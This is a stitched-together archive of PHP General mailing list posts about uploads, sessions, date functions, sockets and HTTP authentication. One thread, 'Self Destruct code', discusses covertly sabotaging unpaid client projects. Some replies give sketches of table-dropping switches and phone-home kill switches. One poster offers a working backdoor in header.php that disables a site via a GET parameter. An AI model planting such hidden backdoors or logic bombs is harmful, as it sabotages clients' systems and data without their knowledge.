A lot of people have reported on the list that their uploads didn't work until they added that tag. If any of these people are reading this could you confirm that that tag is really necessary?

Hmm, after a bit of testing I find that the MAX_FILE_SIZE tag is useless to say the least (probably because no browsers support it?) In all of NN, Opera, IE having the tag does /not/ prevent the file from being uploaded. Thus if I set MAX_FILE_SIZE to 10 (100K) and upload a 5MB file what happens is: 1) you still have to wait for the whole 5MB to be uploaded 2) php sees the MAX_FILE_SIZE setting is exceeded then discards the file If anyone wants to run their own tests here's my test script: == Gimme a file == -- Jason Wong -> Gremlins Associates -> www.gremlins.com.hk Open Source Software Systems Integrators * Web Design & Hosting * Internet & Intranet Applications Development * /* You just wait, I'll sin till I blow up! -- Dylan Thomas */ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] Self Destruct code
Hi I have a funny request; I wrote a system for a client and am rather concerned that I am not going to receive payment for the work done. They want me to hand over the code before they are willing to pay, so basically I will be left at their mercy; if they don't pay, they will still have a working version of the system... So, is there any way I can inconspicuously code in some boo-boo's that are time related etc. Something that will bomb the mysql tables or break some code if it is not "unlocked" within a month etc. I'm not sure if people out tjere might have existing safeguard tools etc, so I'm open for suggestions. PS, I know about Zend's encrypter, but since it will live on their server, I don't think it will help much since they will need the decrypter on there anyway right?

Presumably they've seen your code working on your server and it does what they expect of it? You could say to them, hand over the money or else (only joking), or hand over half the money, transfer the code, if there's no problem running on their server, give you the rest of the money.

RE: [PHP] Self Destruct code
Hi,
Depends on what type of server they are running,
You could add a script in there that takes a query string that will invoke a
set of
drop table statments,
followed by some file delete's
But as I have never seen the need to do this, I dont have any code that can
help you
But I am sure you will be able to just add a switch in the index page, that
takes something like this
if (isset($op) && $op == "deletesite")
{
// Drop sql tables
$conn = mysql_connect("host","user","pass");
$sql = "DROP TABLE tableName";
$rs = mysql_query($sql, $conn);
for each $file in $files
{
// some delete code
}
}
But yet again I would rather do this via legal means than destroy code.

I wouldn't do something like this, there's too many legalities at stake. Personally I would suggest requiring at least a modest retainer before transmitting the code if you don't trust him (and in the future you may want to consider getting a deposit from a company before even beginning work). The other thing you could do is encode the file using the zend encoder and transmit just the compiled version to themthen they could still wind up not paying you but worse case scenario means they get the code only as is, no ability to modify it or fix bugs. I know you mention in your post you're aware of it but trust me, being unable to fix any bugs with it can serious cause problemsor to even go a step further you could add an extra line of code (assuming you encode this of course) the does an http call to a file/url on a server you controlyou could instruct your program immediately terminate if it cannot access that specific file. Then if the company doesn't pay you, you remove that file and poof the program is no longer usableand since it's encoded they could not determine what the problem is nor solve it. However in the future I strongly urge you to get a deposit for any projects you're going to work on. Such a retainer is perfectly acceptable in a circumstance like thisand it protects you from companies deciding to terminate a project mid-development (or if they don't pay you, you at least get something out of it).

[PHP] strtotime failure
Hallo, Why would strtotime fail (i.e. return a -1)? I check the type with gettype, which tells me that the argument I'm passing in is a string. I cast it to a string before passing it in, with the same results (returns a -1). The only thing that seems to do anything is to settype it to "string" before calling strtotime, which ends up with bizarre results. The arguments I'm passing in are, for example 11:00, 13:00, 14:30, etc, and are coming out of a database. Only SOME of this data results in a -1 when I call strtotime on it. Other records (the same numbers - 11:00, 13:00, etc.) come out fine. Could the data that's failing strtotime have been corrupted on data-entry? Why does is_string on this data tell me it's a string? --Jennifer Koenig -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] problem with fread
Hy, i have a question about the fread() function. i want to read data from a webserver url, which i don't know the exact size of, i only know that it varies. i see i have to give the lentgh of a file when reading it, but for remote files i have no way to check the size. And i saw no way to tell fread it should just read until the end. ok, i could set the filesize very high,. but this seems a dirty solution. on the other hand there is the fgets() function to read data "line by line" - but my data has no linbreaks, it's only serialized php variable data that comes in one line. what's the best olution for that situation? tia, henning -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

You dont actually give the size of the file, you give the size of the block
you want to pull. For example:
http://whatever.com/file.html";; // whatever you wanna pull from
if ($fp = fopen($url, "r")) {
while ($tmp = fget($fp, 4096)) $output .= $tmp;
fclose($fp);
}
echo "The URL's content is: ".$output;
?>
The "4096" part just means it will pull from the file pointer ($fp) in 4096
byte blocks (or chunks), and the while will keep pulling the chunks until
there is nothing left to pull.

Hi! It looks like that: I tried shifting around the enctype, but it did not help. The http_post_vars is always empty. Only if I remove it, everything works.

erm, don't wanna be nosy, but you meant fgets() - forgot the "s" - didn't
you?
just for others who read that one...
anyway, so it's safe and clean to use this one.

[PHP] Session + IIS
Hi,
I'm having some troubles with sessions and PHP 4.1.2 in IIS 5 under
WinNT. I'm using the standard session functions from php.
$cookie_params = session_get_cookie_params();
session_set_cookie_params($cookie_params["lifetime"],dirname($SCRIPT_NAME));
session_start();
session_register("g_sessionData");
The problem is that php sometimes doesn't find it's sessions anymore. I
can see some file being created in de sessiondata dir, with the correct
data in them, but they are not loaded in the next page load. The
problem might also have to do with cookies, because I see the sessionid
being added to the link. I checked of course that cookies were enabled.
The strange thing this is that this problem only occurs in the document
root of my site. The content management system, which runs in a subdir,
works fine with sessions. When I placed my website in a subdir, it also
worked fine.As you can see in the code, I set the path in the cookie.
Might the paths of the main site and the site in the subdir interfear
with each other (they both use the same code). This all works fine with
Linux/Apache.
I've come acros a number of problem reports about PHP and IIS, stateing
that session management doesn't work fine for certain PHP versions. Does
anyone know what the status of these problems are and which PHP version
has stable session management on a windows platform.
Greets,
Maurice

RE: [PHP] multipart/form-data
Thanks for that suggestion, I think I found something. My core configuration says file_uploads no value no value I guess the default value for file_uploads is "no", and http://bugs.php.net/bug.php?id=15827 suggests that the behaviour I described results from file_uploads not being allowed.

Re: [PHP] Self Destruct code
Hi, From a legal viewpoint, I don't think you should modify any data or files on the clients computer.

I'd have to weigh up telstra loyalty for value :)
Of course that's dependent on area and geo. location too...
Anywayz.. I can't get any broadband at ALL here yet.. But ADSL has been

The site designers would have used the error reporting functions available to derive the information displayed and then incorporated that design into the actual pages you see displayed. You wouldn't expect to get a page with that information without having coded it first. Having said that, I'd be a little careful of providing that much information in an error message on a production (and publicly available) web site purely because it may provide enough information for someone to attack or compromise the site.

Do you have a signed contract or work agreement? What are the terms and conditions laid out in it? If you don't have one then perhaps you should look at having one. At a minimum I'd be suggesting that such terms and conditions need to address the issues of copyright over the work produced, significant "way points" or development stages, completion deadlines and payment schedules. If you deliberately sabotage the work you have done you might end up in a poor legal position yourself (leaving aside personal feelings of being able to get back at someone for a moment). If you don't have such things in place then perhaps suggesting a part payment or some other alternative will work. Ultimately, there are no real technical solutions to anything but technical problems and I don't think the situation you're describing falls into that category.

RE: [PHP] Self Destruct code

I have a funny request; I wrote a system for a client and am rather
concerned that I am not going to receive payment for the work done. They
want me to hand over the code before they are willing to pay, so
basically I will be left at their mercy; if they don't pay, they will
still have a working version of the system...
So, is there any way I can inconspicuously code in some boo-boo's that
are time related etc. Something that will bomb the mysql tables or break
some code if it is not "unlocked" within a month etc.
I'm not sure if people out tjere might have existing safeguard tools
etc, so I'm open for suggestions.

You could try something like this;
if(date == '30 days from now'){
if(unlock code <> 'the unlock code'){
Do stuff to disable code, set variables to odd values, drop
tables,
whatever;
Do stuff to send e-mail to offending party;

Too easy...the client would just have to check the code for it and he would
have the code.
Better get a md5'd version of the code from somewhere in the net (from your
server for example) and compare it to the md5'd version of the code the
client put in.
But that way the client could always just comment out the if condition.

Re: [PHP] Self Destruct code
I back up Chris' comments about the legality of self-destructing code. Sort out contractual issues with lawyers. If you want to 'limit' your system until you get paid, what about deliberately putting a limit on a column in MySQL, e.g. the key column is a TINYINT rather than INT? Let the customer know that once you're paid, you will un-'cripple' the system. Assure them no data will be lost. Peter.

Re: [PHP] Self Destruct code
Well I share heavily with whoever the starter of this post was..
see yes.. upfront half payments are indeed much better..
but.. (and I assume here) when you are younger and have a smaller reputation
it's harder for clients to understand that.. so you usually end up with this
problem of having a site.. but like they could reject offer at last moment
or worse yet.. personal experience here 3 months ago.. you upload to their
server..
the business changes hands.. server ftp passwords change.. you lose contact
mysteriously with your contact. and voila.. pftt. in a puff of smoke.. your
hard worked site.. has no connection to you anymore.. you can't remove/touch
it.. and noone answers you..
You ring them back EVERY afternoon for a week straight... always being told
they will ring you back ASAP...
BULLSHIT.. what a load of crap...
No reply calls... No emails... Nothing.. Zilch.. and more importantly.. NO
F***ING MONEY!!!
Soo.. You have ISP bills, mobile bills, maybe rent/family/living costs (not
in my case), Uni text books, transport, webhosting etc.. and no money..
Yes.. That's a personal tale... Quite sad... But I have moved on..
It get's worse.. I was bitten twice by same client.. First site I made for
him.. Was for their main biz.. And that took like 3-4months to FINALLY get
paid.. Then I did the 2nd one.. and yeah.. you know the rest.. :(
Anyway here's a tip..
Remember.. in this kinda work... "YOU'RE THE BOSS" ... so go like this..
Go to the little biz you wanna do a site for.. or if you're offered that's
even better and be straight, to the point and barely flexible.. Don't let
them get you..
AND don't sell yourself cheap..
Try this: "I can make you a site for $850 that will allow you to perform all
you have asked and has room for expansion later on when your company grows..
I may also charge you a small fee of $5-10 per month for maintance and
hosting costs"..
the maintance fee of course is just some bonus "fixed/guaranteed" income per
month... 5-10 bucks is crap but once you do 50 sites.. it counts for a
little more pocket money...
Hey don't stop there..
Site I am doing now for a popular local biz (comp shop) is 650 for site,
nice a cheap once-off. and AUD$20 per month to cover their www domain name
payments and help towards my hosting..
And my hosting is SOO cheap that I could easily fit like 12 of these sites
similiar to this one on my server on my current plan.. and therefore be
making nice little profit.. :)
Anywayz.. back to your story..
Hahahah.. I must laugh.. Yes the thought occured to me without hesitation
when they f**ked me over.. but as I said.. I had not planned for it,
therefore I had no "backdoor" as such.. and as I had no FTP access anymore i
was well done for..
Lesson learnt: Don't mess with biz men :)
This time? Muhahahah.. Cos every site I build uses more PHP and MySQL than
you could shake a stick at anyway its quite easy for me to put a file or
just a special little "function" that allows me to easily.. hmmm yes.. you
got the idea...
Yeah I think it's a good idea.. Maybe not destroy (although it'd be nice)
but just render unusable..
Like it's quite simple really..
If you let's say use a header kind of file for each and every page of site
(like I do) to load up global vars and format of site etc.. than you can
haev something in there that handles it..
For a quick example:
Let's say you have your files all use (include/require) a header.php
Then in your header.php just add these lines
-
if(isset($HTTP_GET_VARS["site_power"])) {
if($HTTP_GET_VARS["site_power"]=="off") unlink("/test.tmp");
else {
$powerfile=fopen("/test.tmp","w");
fclose($powerfile);
}
}
if(file_exists("/test.tmp")) exit("This site has been temporarily disabled
due to payment complications.. Please check back soon.");
--
that's about all there is to it.. Should work fine.. Some of you may say:
"USE $_GET instead" but I have always used the $HTTP_*_VARS idea.. and it
works.. and it's compat with newer versions still of PHP so as far as I can
see it's all ok.. but replace if you want.. up to you..
Yeah basically just format up a little message for them... and that'll be
shown if you send the get name=value pair to ANY php file on your site
containing something like: /file.php?site_power=off
you can turn it back on with just passing on in there.. optionally you may
want to use a password kinda of idea too.. just combine md5 if you want to
do soemthing like
if(md5($HTTP_GET_VARS["site_power"]))="41d67d9b067b00ed2ce76af695767644")...
..
which happens to be md5 of: "mypassword_off"
so you get the idea..
Well this whole thing was enlightening.. that might explain the huge email
reply I wrote :)

[PHP] Uploads adding \r?
I'm using PHP on a customer's site. One of the things they do is to add a dxf (CAD) file to be associated with parts. The peculiar thing is this: When the file gets uploaded, the EOL gets changed from "\n" to "\r\n".

[PHP] Registering an Array in a Session
Hi,
I am trying to register an array in a session, but am having no luck.
What I have is a form with set fields on which is processed a certain number
of times.
Upon submitting the form each time, I run the following:
session_register("fieldtext[".$page."]");
where fieldtext is the name of a field on the form, and $page is the page
number, which increases by one each time the form is submitted.
All I get registered is the last value submitted on the form, all the
previous values are null.
Any advice would be most appreciated.
TIA

[PHP] how to generate a date between 1998 and today by random?
hi there,
I am wondering if there is an easy way to generate a random date. It would
work by creating arrays of values and then just selecting like:
$year = array(2002, 2003, 2004, 2005);
$month = array
('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sept','Okt','Nov','Dez');
$date = $month[rand(0,count($month))].' '.rand(0,31).',
'.$year[rand(0,count($year))];
But there might be an easyer and faster (better performant) way.
Thanx for any help,

RE: [PHP] how to generate a date between 1998 and today by random?
haven't tried that:
use mktime to get unixtimestamps of today and of the date between 1998.
create a random number between these timestamps (the random function should
be capable of it, or just code yourself a little function).
convert the resulting timestamp to a date using the todate() function.
I think that should work and it should be easy enough.

Try simply registering "fieldtext" and refer to the array within the
code as $fieldtext['key']; Also, if you are using a recent version of
PHP, there is no need to register session variables. You can make use
of $_SESSION and store arrays within it, for example
$_SESSION['fieldtext']['key'];

[PHP] Re: how to generate a date between 1998 and today by random?
Try making use of a timestamp via the strtotime. You'll have to do the
math, but you can generate a random number with the range being the
number of seconds in the date range and then adding the remaining
offset. Then convert the timestamp back to a date with everyones
favorite date() function.

[PHP] copy protection
Hi! Has somebody thought of adding some sort of copy protection to a PHP project? I guess it would be difficult to accomplish. Say you have some PHP scripts for mantaining a web site. You don't want the ISP simply copies the scripts for each web site he wishes to use it for but buys a valid license for each copy. A solution would be a license key that guarantees the scripts are being used only on a specific web site / domain name the license has been buyed for. One problem is that PHP is source code, it isn't stored in compiled form, and a copy protection could be easily located and removed I think. Ok, there is Zend encoder but it is very expensive in my opinion. Are there any tools, articles? Did ever have anyone this problem?

I was hoping someone could point me in the right direction. /tmp doesnt exist under windows - thats a unix path. Try changing it to a path that does exist. I dont use windows so you will have to try one of the following (assuming the dir you want it c:\temp\) c:\\temp c:\temp c:/temp One of those should work...

Assuming you're using a default install of IIS, PHP will run under the IUSR_machine user. Give that user full access to the tmp directory and you should be ok. If that does not work then take Jason's advice. If you're using apache then I can't really help but I would guess that it's a similar situation. -- Stuart -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Self Destruct code
I don't believe this is the right way to do things, and really, anything you "break" can be spotted, fixed, patched and repaired. Sure, it might piss them off for a few days, but it aint a solution. 1. Do you have an agreement with the client in writing? Who owns the copyright of the code? Who pays what and when? What warranties are you providing, etc etc? If you don't fix it now. In this case, you would be aiming to have copyright ownership of the code AT LEAST until payment is received. 2. They should be willing to make part/full payment based on viewing the working code on any server. If they want to see it working on their server only, then perhaps suggest that you have control over the passwords until payment... not a solid fix, but better than nothing. 3. In future, you should also aim for part payment (monthly, half-way, deposit, milestones, etc). I've had one client who hadn't payed. I did everything right, kept contracts, kept the FTP passwords, etc etc. The bill was overdue by 15 days, and they were ignoring my emails/calls, so I pulled their site offline. 15 minutes later, I received a phone call. I explained my position, and was payed within 3 hours. The issue here is really who owns the code before and after payment. In conjunction with a written agreement / contract over what happens, when and how (and how much), you should have no reason to really worry. Having written agreements out there also reminds the client of their obligations. It may cost a few $'s, but you will be able to pursue a client who hasn't payed IF you have a written agreement, and clear conditions. The copyright act, and a clear contract are your best safeguards. If they're not willing to agree to simple, industry-standard practices, then to me, the client isn't worth having.

[PHP] problem with fsockopen and lenght of fputs
Hello everyone,
I'm trying to send Email with fsockopen. It works fine but when the body
of the message is superior to 8k. Then the fputs didn't work.
I've read that the fputs had a buffer of 8k and we must use
set_file_buffer to remove buffer. But it seems not to work on a
fsockopen.
Is there an solution to increase the size of buffer for a socket ??
Here's my code :
$message="EHLO ".$nom_serveur.chr(13).chr(10);/
$message.="MAIL FROM:<".$exp.">".chr(13).chr(10);
$message.="RCPT TO:<".$to.">".chr(13).chr(10);
$message.="DATA".chr(13).chr(10);
$message.="Date: ".date("r").chr(13).chr(10);
$message.="Subject: ".$subject.chr(13).chr(10);
$message.="From: ".$exp.chr(13).chr(10);
$message.="Reply-To: ".$reply.chr(13).chr(10);
$message.="To: ".$to.chr(13).chr(10);
$message.="Mime-Version: 1.0".chr(13).chr(10);
if ($type='text')
$message.="Content-Type: text/plain;";
else
$message.="Content-Type: text/html;";
$message.=" charset=\"iso-8859-1\"".chr(13).chr(10);
$message.="Content-Transfert-Encoding: 8bit".chr(13).chr(10);
$message.=chr(13).chr(10);
$message.=$msg.chr(13).chr(10);
$message.=".".chr(13).chr(10);
$message.="QUIT".chr(13).chr(10);
$fd=fsockopen($ip_serveur,25);
fputs($fd,$message,strlen($message));
fclose($fd);
Thanks for your response,
Best regards.

I agree with Jason here. 1. An IMAP account != a mail account, thats just a MAA (Mail Access Agent) which allows you to read mail from a file/dir/storage space on your machine.

Yes, indeed when you encode the file it grows. Normally about 30%..

Re: [PHP] File upload problem
I put the max file size tag into my code but that didn't help either. What looks like is happening is that the php file can't be found. I'm using phpscriptcenter's upload.php program and it is all in one script, if you know what I mean. What I'm seeing now is that, depending on the size of the file that I select to upload, it doesn't look like the form is being processed correctly. I changed the action of the form to point to a simple html file and I get the same results, page cannot be displayed. But this only happens when I pick a file that's 15MB or larger, pick a file that's smaller, in this case a few KB, and it works as expected. Not sure what to look for next.

[PHP] Re: rand(0,1) does seem to get more often 1
Running the code with such a small number of trials will likely cause skewed
results one way or the other.
I ran this code and consistently got around the 50-50 split you'd expect:

[PHP] Unsetting PHP_AUTH_USER
I'm having a devil of a time trying to "unset" the built-in global
$PHP_AUTH_USER. My aim is to have a "logout" button.
Obviously the first thing to try is unset($PHP_AUTH_USER). No good -
when I refresh the page it's back.
Then I tried unset($_SERVER['PHP_AUTH_USER']) - same deal. I also tried
session_destroy() and unset($_COOKIE[session_name()]). All failed - as
soon as I refresh the page, the $PHP_AUTH_USER value is restored.
I heard that if you send the header lines:
Header('WWW-Authenticate: Basic realm="My Realm"');
Header("HTTP/1.0 401 Unauthorized");
...then the browser clear its authentication cache (and the value is
forgotten), but those lines also cause that username/password dialog to
pop up. That's not what I want. I want logout functionality, not log
in again functionality.
Anyone know how to make the value of $PHP_AUTH_USER get completely
forgotten via a couple of simple lines of code? It should be easy - how
many sites out there do you see with a "log out" button?
Mark.
P.S. The logout facility in phpMyAdmin has problems - it's actually a
"relogin" facility, and if you supply the same username and password you
don't get logged in.
Re: [PHP] Unsetting PHP_AUTH_USER
You don't unset the variable. The variable comes from your browser
sending an Authenticate http request header, so as long as the browser
sends this header, the variable is going to get created. The way to unset
it is then to stop the browser from sending this Authenticate header.
Currently there is no way to tell a browser to not send this header
cleanly. Sending a 401 is the only way, but as you mentioned that pops up
the login button. So basically you will have to layer some additional
mechanism on top of the http auth system to achieve what you want.

[PHP] var-vars question
Hi folks,
Linux, PHP3
I have the following problem:
I have an object, which creates a form, wherein there are selects, which
names accord to values in the database.
But I didn´t get it to have a variable var, I´m sure it´s just a small
thing, but I cannot see it
Any suggestions ?
TIA Oliver
echo '';
// Already tried post, no difference
echo '';
while($da=$MKA -> getDbAns()) // This gives back an array named $da
while there are answers
{
$xwert=$da[1];
// $da[1] contains "abc" the var $xwert will be "abc"
// now I´d like to see the value of $abc but there´s nothing in
echo ' '.$$xwert.'';
// set the new select named "abc"
echo '';
// forget the rest, just for understanding what while does
for($i=0; $i < 11 ; $i++)
{
if(isset($$da[1])) // just for testing
{
echo "".$i."";
}
else
{
echo "".$i."";
}
} // end for
echo '';
echo '';
echo ''.$da[1].'';
echo ''.$da[2].'';
echo ''.$da[3].' EUR';
echo '';
} // end while
echo '';

But then, that wouldn't > require you to have the hidden field either. Done some more tests. The good news is that it seems that browsers can and do respect the limits set on the server (php.ini). For example in php.ini I set the "post_max_size" to 32M then when I upload a 33M file, the browser has a quick word with the server and ascertains that the file is over the limit and stops. The bad news is that out of Opera, NN and IE only Opera works properly in this respect. NN uploads the file then gives "Network Error: Connection reset by peer". IE uploads the file then gives "Cannot find server, page cannot be displayed" (!!). These were quick and dirty tests and should not be taken as gospel. -- Jason Wong -> Gremlins Associates -> www.gremlins.com.hk Open Source Software Systems Integrators * Web Design & Hosting * Internet & Intranet Applications Development * /* If a man has talent and cannot use it, he has failed. -- Thomas Wolfe */ -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
